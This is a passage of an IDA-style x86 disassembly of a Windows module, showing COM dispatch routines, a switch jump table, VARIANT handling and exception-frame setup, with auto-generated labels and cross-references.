mov [ebp-58h], esi
cmp esi, edi
jz short loc_69B46282
mov eax, [ebp-44h]
inc dword ptr [ebp-44h]
cmp [ebp-38h], eax
jnz short loc_69B46255
cmp esi, edi
jnz short loc_69B46226
loc_69B46282: ; CODE XREF: sub_69B460C4+1ADj
mov dword ptr [ebp-2Ch], 80004005h
jmp short loc_69B462B2
; ---------------------------------------------------------------------------
loc_69B4628B: ; CODE XREF: sub_69B460C4+177j
; sub_69B460C4+1D8j
xor eax, eax
jmp loc_69B461EB
; ---------------------------------------------------------------------------
loc_69B46292: ; CODE XREF: sub_69B460C4+16Bj
call sub_69B1D897
mov [ebp-68h], eax
cmp eax, edi
jz short loc_69B4628B
push esi
mov ecx, eax
call sub_69B458D3
jmp loc_69B461EB
; ---------------------------------------------------------------------------
loc_69B462AB: ; CODE XREF: sub_69B460C4+F7j
; sub_69B460C4+149j ...
mov dword ptr [ebp-2Ch], 1
loc_69B462B2: ; CODE XREF: sub_69B460C4+12Cj
; sub_69B460C4+18Fj ...
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B462DF
; ---------------------------------------------------------------------------
loc_69B462B8: ; DATA XREF: .text:69B46324o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B462C1: ; DATA XREF: .text:69B46328o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor edi, edi
loc_69B462DF: ; CODE XREF: sub_69B460C4+1F2j
cmp dword ptr [ebp-2Ch], 8000000Ah
jnz short loc_69B462F4
mov dword ptr [ebp-2Ch], 1
mov eax, [ebp+2Ch]
mov [eax], edi
loc_69B462F4: ; CODE XREF: sub_69B460C4+222j
lea ecx, [ebp-30h]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
cmp [ebp-1Ch], edi
jz short loc_69B46312
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B46312: ; CODE XREF: sub_69B460C4+243j
mov eax, [ebp-2Ch]
loc_69B46315: ; CODE XREF: sub_69B460C4+1Aj
; sub_69B460C4+33j
call sub_69B1853C
retn 28h
sub_69B460C4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B46320 dd 0FFFFFFFFh dd offset loc_69B462B8
dd offset loc_69B462C1
; ---------------------------------------------------------------------------
loc_69B4632C: ; DATA XREF: .text:off_69B28094o
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_69B46363
cmp byte ptr [ecx+0Ch], 0
push 1Ch
jz short loc_69B46350
call sub_69B1D897
test eax, eax
jz short loc_69B46363
push esi
mov ecx, eax
call sub_69B45B61
jmp short loc_69B46365
; ---------------------------------------------------------------------------
loc_69B46350: ; CODE XREF: .text:69B4633Bj
call sub_69B1D897
test eax, eax
jz short loc_69B46363
push esi
mov ecx, eax
call sub_69B458D3
jmp short loc_69B46365
; ---------------------------------------------------------------------------
loc_69B46363: ; CODE XREF: .text:69B46333j
; .text:69B46344j ...
xor eax, eax
loc_69B46365: ; CODE XREF: .text:69B4634Ej
; .text:69B46361j
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B46369: ; DATA XREF: .text:off_69B28084o
sub dword ptr [esp+4], 4
jmp sub_69B45E84
; ---------------------------------------------------------------------------
loc_69B46373: ; DATA XREF: .text:off_69B1DF68o
sub dword ptr [esp+4], 4
jmp sub_69B18AE3
; =============== S U B R O U T I N E =======================================
sub_69B4637D proc near ; CODE XREF: sub_69B1C12C+3027p
; sub_69B1C12C+3055p ...
push esi
mov esi, ecx
mov ecx, [esi]
test ecx, ecx
jz short loc_69B46393
mov eax, [ecx]
call dword ptr [eax+10h]
mov eax, [esi]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B46393: ; CODE XREF: sub_69B4637D+7j
lea ecx, [esi+8]
pop esi
jmp sub_69B1976C
sub_69B4637D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4639C proc near ; CODE XREF: sub_69B3FBF7+1Fp
; sub_69B40DFB+28p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
mov esi, ecx
jnz short loc_69B463B7
cmp [ebp+arg_8], edi
jnz short loc_69B463B7
and [esi], edi
mov byte ptr [esi+4], 1
jmp short loc_69B46425
; ---------------------------------------------------------------------------
loc_69B463B7: ; CODE XREF: sub_69B4639C+Cj
; sub_69B4639C+11j
push ebx
mov ebx, [ebp+arg_0]
loc_69B463BB: ; CODE XREF: sub_69B4639C+76j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_69B463CC
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov edi, eax
loc_69B463CC: ; CODE XREF: sub_69B4639C+24j
xor eax, eax
cmp [edi+0ACh], eax
jnz short loc_69B46414
cmp [esi+10h], eax
jnz short loc_69B463E1
cmp dword ptr [edi+40h], 4
jz short loc_69B4642B
loc_69B463E1: ; CODE XREF: sub_69B4639C+3Dj
push dword ptr [ebx+40h]
mov ecx, edi
call sub_69B3D963
test eax, eax
mov [esi], eax
jz short loc_69B46416
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+0Ch]
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_69B46441
mov eax, [ecx]
call dword ptr [eax+0B4h]
cmp eax, edi
jz short loc_69B46441
mov ecx, [esi]
mov eax, [ecx]
call dword ptr [eax+10h]
jmp short loc_69B463BB
; ---------------------------------------------------------------------------
loc_69B46414: ; CODE XREF: sub_69B4639C+38j
mov [esi], eax
loc_69B46416: ; CODE XREF: sub_69B4639C+53j
; sub_69B4639C+9Dj
push 0C00CE212h
call sub_69B2D34C
mov byte ptr [esi+4], 0
loc_69B46424: ; CODE XREF: sub_69B4639C+A3j
pop ebx
loc_69B46425: ; CODE XREF: sub_69B4639C+19j
pop edi
pop esi
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B4642B: ; CODE XREF: sub_69B4639C+43j
mov [esi], eax
push dword ptr [ebx+40h]
mov ecx, edi
call sub_69B3D963
test eax, eax
jz short loc_69B46416
loc_69B4643B: ; CODE XREF: sub_69B4639C+ADj
mov byte ptr [esi+4], 1
jmp short loc_69B46424
; ---------------------------------------------------------------------------
loc_69B46441: ; CODE XREF: sub_69B4639C+61j
; sub_69B4639C+6Dj
mov eax, [esi]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
jmp short loc_69B4643B
sub_69B4639C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4644B proc near ; DATA XREF: .data:69B992A0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
push ebx
add ecx, 0FFFFFFFEh
cmp ecx, 0Bh ; switch 12 cases
push esi
push edi
mov eax, 80020003h
ja loc_69B465F4 ; default
jmp ds:off_69B465FB[ecx*4] ; switch jump
loc_69B4646C: ; DATA XREF: .text:off_69B465FBo
test [ebp+arg_C], 2 ; jumptable 69B46465 case 0
mov eax, [ebp+arg_0]
mov ecx, [eax]
jz short loc_69B46483
push [ebp+arg_10]
push eax
call dword ptr [ecx+20h]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B46483: ; CODE XREF: sub_69B4644B+2Aj
mov esi, [ebp+arg_8]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+1Ch]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B46498: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
mov edx, [ebp+arg_10] ; jumptable 69B46465 case 1
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+24h]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B464AD: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
cmp [ebp+arg_14], 2 ; jumptable 69B46465 case 2
mov eax, [ebp+arg_8]
jnz short loc_69B464C8
test byte ptr [eax+19h], 40h
jz short loc_69B464C3
mov ecx, [eax+20h]
mov edx, [ecx]
jmp short loc_69B464CA
; ---------------------------------------------------------------------------
loc_69B464C3: ; CODE XREF: sub_69B4644B+6Fj
mov edx, [eax+20h]
jmp short loc_69B464CA
; ---------------------------------------------------------------------------
loc_69B464C8: ; CODE XREF: sub_69B4644B+69j
xor edx, edx
loc_69B464CA: ; CODE XREF: sub_69B4644B+76j
; sub_69B4644B+7Bj
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B464D5
mov eax, [eax]
loc_69B464D5: ; CODE XREF: sub_69B4644B+86j
mov ecx, [ebp+arg_0]
mov esi, [ecx]
push edx
push eax
push ecx
call dword ptr [esi+28h]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B464E5: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
mov edx, [ebp+arg_10] ; jumptable 69B46465 case 3
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+2Ch]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B464FA: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
mov edx, [ebp+arg_10] ; jumptable 69B46465 case 4
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+30h]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B4650F: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
test [ebp+arg_C], 2 ; jumptable 69B46465 case 5
mov eax, [ebp+arg_0]
mov ecx, [eax]
jz short loc_69B46526
push [ebp+arg_10]
push eax
call dword ptr [ecx+38h]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B46526: ; CODE XREF: sub_69B4644B+CDj
mov esi, [ebp+arg_8]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+34h]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B4653B: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
mov edx, [ebp+arg_10] ; jumptable 69B46465 case 6
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+3Ch]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B46550: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
mov eax, [ebp+arg_0] ; jumptable 69B46465 case 7
mov ecx, [eax]
push eax
call dword ptr [ecx+40h]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B4655E: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
mov edx, [ebp+arg_10] ; jumptable 69B46465 case 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+44h]
jmp loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B46573: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
cmp [ebp+arg_14], 3 ; jumptable 69B46465 case 9
mov eax, [ebp+arg_8]
jnz short loc_69B4658E
test byte ptr [eax+31h], 40h
jz short loc_69B46589
mov ecx, [eax+38h]
mov esi, [ecx]
jmp short loc_69B46590
; ---------------------------------------------------------------------------
loc_69B46589: ; CODE XREF: sub_69B4644B+135j
mov esi, [eax+38h]
jmp short loc_69B46590
; ---------------------------------------------------------------------------
loc_69B4658E: ; CODE XREF: sub_69B4644B+12Fj
xor esi, esi
loc_69B46590: ; CODE XREF: sub_69B4644B+13Cj
; sub_69B4644B+141j
test byte ptr [eax+1], 40h
jz short loc_69B4659D
mov ecx, [eax+8]
mov edx, [ecx]
jmp short loc_69B465A0
; ---------------------------------------------------------------------------
loc_69B4659D: ; CODE XREF: sub_69B4644B+149j
mov edx, [eax+8]
loc_69B465A0: ; CODE XREF: sub_69B4644B+150j
mov ecx, [ebp+arg_0]
mov ebx, [ecx]
push esi
sub esp, 10h
mov edi, esp
lea esi, [eax+18h]
movsd
movsd
movsd
push edx
push ecx
movsd
call dword ptr [ebx+48h]
jmp short loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B465B9: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
mov eax, [ebp+arg_8] ; jumptable 69B46465 case 10
test byte ptr [eax+19h], 40h
jz short loc_69B465C9
mov ecx, [eax+20h]
mov edx, [ecx]
jmp short loc_69B465CC
; ---------------------------------------------------------------------------
loc_69B465C9: ; CODE XREF: sub_69B4644B+175j
mov edx, [eax+20h]
loc_69B465CC: ; CODE XREF: sub_69B4644B+17Cj
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B465D7
mov eax, [eax]
loc_69B465D7: ; CODE XREF: sub_69B4644B+188j
mov ecx, [ebp+arg_0]
mov esi, [ecx]
push edx
push eax
push ecx
call dword ptr [esi+4Ch]
jmp short loc_69B465F4 ; default
; ---------------------------------------------------------------------------
loc_69B465E4: ; CODE XREF: sub_69B4644B+1Aj
; DATA XREF: .text:off_69B465FBo
mov edx, [ebp+arg_10] ; jumptable 69B46465 case 11
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+50h]
loc_69B465F4: ; CODE XREF: sub_69B4644B+14j
; sub_69B4644B+33j ...
pop edi ; default
pop esi
pop ebx
pop ebp
retn 18h
sub_69B4644B endp
; ---------------------------------------------------------------------------
off_69B465FB dd offset loc_69B4646C ; DATA XREF: sub_69B4644B+1Ar
dd offset loc_69B46498 ; jump table for switch statement
dd offset loc_69B464AD
dd offset loc_69B464E5
dd offset loc_69B464FA
dd offset loc_69B4650F
dd offset loc_69B4653B
dd offset loc_69B46550
dd offset loc_69B4655E
dd offset loc_69B46573
dd offset loc_69B465B9
dd offset loc_69B465E4
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B4662B(int, VARIANTARG *pvargDest)
sub_69B4662B proc near ; DATA XREF: .text:69B126C8o
arg_0 = dword ptr 4
pvargDest = dword ptr 8
cmp [esp+pvargDest], 0
jnz short loc_69B46639
mov eax, 80070057h
jmp short locret_69B4664B
; ---------------------------------------------------------------------------
loc_69B46639: ; CODE XREF: sub_69B4662B+5j
mov eax, [esp+arg_0]
add eax, 40h
push eax ; pvargSrc
push [esp+4+pvargDest] ; pvargDest
call VariantCopy
locret_69B4664B: ; CODE XREF: sub_69B4662B+Cj
retn 8
sub_69B4662B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4664E proc near ; DATA XREF: .text:69B126ECo
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_69B92948
mov edi, eax
xor esi, esi
cmp edi, esi
jnz short loc_69B4666B
mov eax, 80004005h
jmp short loc_69B466C6
; ---------------------------------------------------------------------------
loc_69B4666B: ; CODE XREF: sub_69B4664E+14j
push esi
lea ecx, [ebp+var_C]
call sub_69B11D3B
mov ecx, [ebp+arg_4]
cmp ecx, esi
jnz short loc_69B46682
mov esi, 80070057h
jmp short loc_69B466B5
; ---------------------------------------------------------------------------
loc_69B46682: ; CODE XREF: sub_69B4664E+2Bj
mov eax, [ebp+arg_0]
mov eax, [eax+58h]
cmp eax, esi
jz short loc_69B466B3
cmp eax, 1
jz short loc_69B466AB
jle short loc_69B466B5
push 4
pop edx
cmp eax, edx
jle short loc_69B466A3
cmp eax, 5
jnz short loc_69B466B5
mov [ecx], edx
jmp short loc_69B466B5
; ---------------------------------------------------------------------------
loc_69B466A3: ; CODE XREF: sub_69B4664E+4Aj
mov dword ptr [ecx], 3
jmp short loc_69B466B5
; ---------------------------------------------------------------------------
loc_69B466AB: ; CODE XREF: sub_69B4664E+41j
mov dword ptr [ecx], 2
jmp short loc_69B466B5
; ---------------------------------------------------------------------------
loc_69B466B3: ; CODE XREF: sub_69B4664E+3Cj
mov [ecx], esi
loc_69B466B5: ; CODE XREF: sub_69B4664E+32j
; sub_69B4664E+43j ...
lea ecx, [ebp+var_C]
call sub_69B1976C
push edi
call dword_69B92944
mov eax, esi
loc_69B466C6: ; CODE XREF: sub_69B4664E+1Bj
pop edi
pop esi
leave
retn 8
sub_69B4664E endp
; =============== S U B R O U T I N E =======================================
sub_69B466CC proc near ; CODE XREF: .text:loc_69B468E6j
; sub_69B46F8F+11p ...
push esi
mov esi, ecx
cmp byte ptr [esi+4], 0
jz short loc_69B466EA
mov eax, [esi]
cmp eax, 5
jz short loc_69B466E1
cmp eax, 6
jnz short loc_69B466EA
loc_69B466E1: ; CODE XREF: sub_69B466CC+Ej
mov eax, [esi+8]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B466EA: ; CODE XREF: sub_69B466CC+7j
; sub_69B466CC+13j
and dword ptr [esi], 0
pop esi
retn
sub_69B466CC endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B466EF(VARIANTARG *pvarg)
sub_69B466EF proc near ; CODE XREF: sub_69B467AF+51p
pvarg = dword ptr 4
push esi
mov esi, [esp+4+pvarg]
push edi
push esi ; pvarg
mov edi, ecx
call VariantInit
mov eax, [edi+24h]
test eax, eax
jz short loc_69B46715
mov [esi+8], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov word ptr [esi], 0Dh
jmp short loc_69B4673B
; ---------------------------------------------------------------------------
loc_69B46715: ; CODE XREF: sub_69B466EF+14j
mov ecx, [edi+30h]
test ecx, ecx
jz short loc_69B46732
call sub_69B88D01
mov [esi+8], eax
mov word ptr [esi], 8
mov eax, [edi+30h]
and dword ptr [eax+8], 0
jmp short loc_69B4673B
; ---------------------------------------------------------------------------
loc_69B46732: ; CODE XREF: sub_69B466EF+2Bj
and dword ptr [esi+8], 0
mov word ptr [esi], 8
loc_69B4673B: ; CODE XREF: sub_69B466EF+24j
; sub_69B466EF+41j
pop edi
pop esi
retn 4
sub_69B466EF endp
; =============== S U B R O U T I N E =======================================
sub_69B46740 proc near ; CODE XREF: sub_69B47486+93p
push 10h
push offset dword_69B46780
call sub_69B19C5C
and dword ptr [ebp-4], 0
mov ecx, [ecx+20h]
mov [ebp-1Ch], ecx
call sub_69B6EF3C
xor eax, eax
mov [ebp-20h], eax
jmp short loc_69B46773
; ---------------------------------------------------------------------------
loc_69B46762: ; DATA XREF: .text:69B46784o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4676B: ; DATA XREF: .text:69B46788o
mov esp, [ebp-18h]
call sub_69B2E808
loc_69B46773: ; CODE XREF: sub_69B46740+20j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn
sub_69B46740 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B46780 dd 0FFFFFFFFh dd offset loc_69B46762
dd offset loc_69B4676B
; =============== S U B R O U T I N E =======================================
sub_69B4678C proc near ; DATA XREF: .text:69B126CCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
test ecx, ecx
jnz short loc_69B4679B
mov eax, 80070057h
jmp short locret_69B467AC
; ---------------------------------------------------------------------------
loc_69B4679B: ; CODE XREF: sub_69B4678C+6j
mov eax, [esp+arg_0]
mov eax, [eax+1Ch]
mov [ecx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
locret_69B467AC: ; CODE XREF: sub_69B4678C+Dj
retn 8
sub_69B4678C endp
; =============== S U B R O U T I N E =======================================
sub_69B467AF proc near ; DATA XREF: .text:69B126E0o
push 1Ch
push offset dword_69B46850
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor esi, esi
cmp eax, esi
jnz short loc_69B467D1
mov eax, 80004005h
jmp short loc_69B46843
; ---------------------------------------------------------------------------
loc_69B467D1: ; CODE XREF: sub_69B467AF+19j
push esi
lea ecx, [ebp-28h]
call sub_69B11D3B
cmp [ebp+0Ch], esi
jnz short loc_69B467F7
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B46843
; ---------------------------------------------------------------------------
loc_69B467F7: ; CODE XREF: sub_69B467AF+2Ej
mov [ebp-4], esi
push dword ptr [ebp+0Ch] ; pvarg
mov ecx, [ebp+8]
call sub_69B466EF
mov [ebp-2Ch], esi
jmp short loc_69B4682B
; ---------------------------------------------------------------------------
loc_69B4680A: ; DATA XREF: .text:69B46854o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B46813: ; DATA XREF: .text:69B46858o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
loc_69B4682B: ; CODE XREF: sub_69B467AF+59j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B46843: ; CODE XREF: sub_69B467AF+20j
; sub_69B467AF+46j
call sub_69B1853C
retn 8
sub_69B467AF endp
; ---------------------------------------------------------------------------
align 10h
dword_69B46850 dd 0FFFFFFFFh dd offset loc_69B4680A
dd offset loc_69B46813
; =============== S U B R O U T I N E =======================================
sub_69B4685C proc near ; DATA XREF: .text:69B126F8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
test ecx, ecx
jnz short loc_69B4686B
mov eax, 80070057h
jmp short locret_69B4687F
; ---------------------------------------------------------------------------
loc_69B4686B: ; CODE XREF: sub_69B4685C+6j
mov eax, [esp+arg_0]
mov edx, [eax+34h]
mov [ecx], edx
mov eax, [eax+34h]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
locret_69B4687F: ; CODE XREF: sub_69B4685C+Dj
retn 8
sub_69B4685C endp
; ---------------------------------------------------------------------------
loc_69B46882: ; DATA XREF: .text:off_69B14E6Co
push edi
mov edi, ecx
mov eax, [edi+4]
test eax, eax
jz short loc_69B468AC
push esi
mov esi, [eax+0Ch]
jmp short loc_69B468A5
; ---------------------------------------------------------------------------
loc_69B46892: ; CODE XREF: .text:69B468A7j
mov ecx, [edi+4]
dec esi
push esi
call sub_69B8A163
mov ecx, [eax+8]
cmp ecx, [esp+0Ch]
jz short loc_69B468B0
loc_69B468A5: ; CODE XREF: .text:69B46890j
test esi, esi
jnz short loc_69B46892
xor eax, eax
loc_69B468AB: ; CODE XREF: .text:69B468B3j
pop esi
loc_69B468AC: ; CODE XREF: .text:69B4688Aj
pop edi
retn 4
; ---------------------------------------------------------------------------
loc_69B468B0: ; CODE XREF: .text:69B468A3j
add eax, 10h
jmp short loc_69B468AB
; ---------------------------------------------------------------------------
loc_69B468B5: ; DATA XREF: .text:69B14E70o
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_69B468E1
mov eax, [esp+4]
cmp eax, [ecx+0Ch]
jge short loc_69B468E1
push eax
call sub_69B8A163
mov ecx, [eax+0Ch]
mov edx, [esp+8]
mov [edx], ecx
mov eax, [eax+8]
mov ecx, [esp+0Ch]
mov [ecx], eax
mov al, 1
jmp short locret_69B468E3
; ---------------------------------------------------------------------------
loc_69B468E1: ; CODE XREF: .text:69B468BAj
; .text:69B468C3j
xor al, al
locret_69B468E3: ; CODE XREF: .text:69B468DFj
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B468E6: ; DATA XREF: sub_69B6A7F2+2Bo
; sub_69B6A7F2+D9o
jmp sub_69B466CC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B468EB proc near ; CODE XREF: sub_69B46944+20p
var_C = byte ptr -0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, ecx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B46908
mov eax, 80004005h
jmp short loc_69B46940
; ---------------------------------------------------------------------------
loc_69B46908: ; CODE XREF: sub_69B468EB+14j
push 0
lea ecx, [ebp+var_C]
call sub_69B11D3B
push 0
lea eax, [esi+20h]
push eax
call sub_69B17320
add esi, 34h
push dword ptr [esi]
call sub_69B3B4B1
push 0
push esi
call sub_69B17320
lea ecx, [ebp+var_C]
call sub_69B1976C
push ebx
call dword_69B92944
xor eax, eax
loc_69B46940: ; CODE XREF: sub_69B468EB+1Bj
pop esi
pop ebx
leave
retn
sub_69B468EB endp
; =============== S U B R O U T I N E =======================================
sub_69B46944 proc near ; CODE XREF: .text:69B470E7p
push esi
mov esi, ecx
lea ecx, [esi-0Ch]
mov dword ptr [ecx], offset off_69B126A8
mov dword ptr [esi-8], offset off_69B281DC
mov dword ptr [esi], offset off_69B281D8
mov dword ptr [esi+0Ch], offset off_69B2819C
call sub_69B468EB
lea eax, [esi+48h]
push eax
call sub_69B17230
lea eax, [esi+44h]
push eax
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
lea eax, [esi+28h]
push eax
call sub_69B17230
lea eax, [esi+24h]
push eax
call sub_69B17230
lea eax, [esi+20h]
push eax
call sub_69B17230
lea eax, [esi+1Ch]
push eax
call sub_69B17230
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
add esi, 10h
push esi
call sub_69B17230
pop esi
jmp sub_69B2C65C
sub_69B46944 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B469C9(int, LPCWSTR strIn, int, LPCWSTR psz2)
sub_69B469C9 proc near ; DATA XREF: .text:69B281B8o
strIn = dword ptr 8
arg_8 = dword ptr 0Ch
psz2 = dword ptr 10h
push [esp+psz2] ; psz2
push [esp+4+arg_8] ; int
push [esp+8+strIn] ; strIn
push 0 ; char
push offset dword_69B99280 ; int
call sub_69B2CFAA
retn 10h
sub_69B469C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B469E4 proc near ; DATA XREF: .text:69B281BCo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
add eax, 0FFFFFFE8h
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push 0
push offset dword_69B99280
push eax
call sub_69B2C800
pop ebp
retn 20h
sub_69B469E4 endp
; =============== S U B R O U T I N E =======================================
sub_69B46A13 proc near ; CODE XREF: sub_69B47172+49j
; sub_69B475B7+149p
push esi
mov esi, ecx
lea eax, [esi+38h]
cmp dword ptr [eax], 0
jz short loc_69B46A26
push 0
push eax
call sub_69B17320
loc_69B46A26: ; CODE XREF: sub_69B46A13+9j
add esi, 40h
push esi ; pvarg
call VariantClear
pop esi
retn
sub_69B46A13 endp
; =============== S U B R O U T I N E =======================================
sub_69B46A32 proc near ; CODE XREF: sub_69B3B426+17p
; sub_69B3B45A+15p ...
arg_0 = dword ptr 4
push [esp+arg_0]
add ecx, 1Ch
push ecx
call sub_69B17320
retn 4
sub_69B46A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame thunk
sub_69B46A42 proc near ; DATA XREF: .text:off_69B126A8o
jmp sub_69B3B7BC
sub_69B46A42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B46A47 proc near ; CODE XREF: sub_69B46AC0+D5p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, [eax]
and [ebp+var_8], 0
and [ebp+var_4], 0
push esi
lea edx, [ebp+var_8]
push edx
push offset dword_69B46AB0
push eax
call dword ptr [ecx]
test eax, eax
jge short loc_69B46A6B
loc_69B46A67: ; CODE XREF: sub_69B46A47+33j
; sub_69B46A47+49j
mov esi, eax
jmp short loc_69B46A97
; ---------------------------------------------------------------------------
loc_69B46A6B: ; CODE XREF: sub_69B46A47+1Ej
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push eax
call dword ptr [ecx+1Ch]
test eax, eax
jl short loc_69B46A67
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B46A92
push [ebp+arg_0]
mov ecx, [eax]
push offset dword_69B2AFF0
push eax
call dword ptr [ecx]
jmp short loc_69B46A67
; ---------------------------------------------------------------------------
loc_69B46A92: ; CODE XREF: sub_69B46A47+3Aj
mov esi, 80004005h
loc_69B46A97: ; CODE XREF: sub_69B46A47+22j
lea eax, [ebp+var_4]
push eax
call sub_69B17230
lea eax, [ebp+var_8]
push eax
call sub_69B17230
mov eax, esi
pop esi
leave
retn 4
sub_69B46A47 endp
; ---------------------------------------------------------------------------
dword_69B46AB0 dd 568h, 100000h, 0AA000080h, 0A42E6D00h
; =============== S U B R O U T I N E =======================================
sub_69B46AC0 proc near ; CODE XREF: sub_69B46C54+48p
; sub_69B4789C+48p
push 2Ch
push offset dword_69B46C48
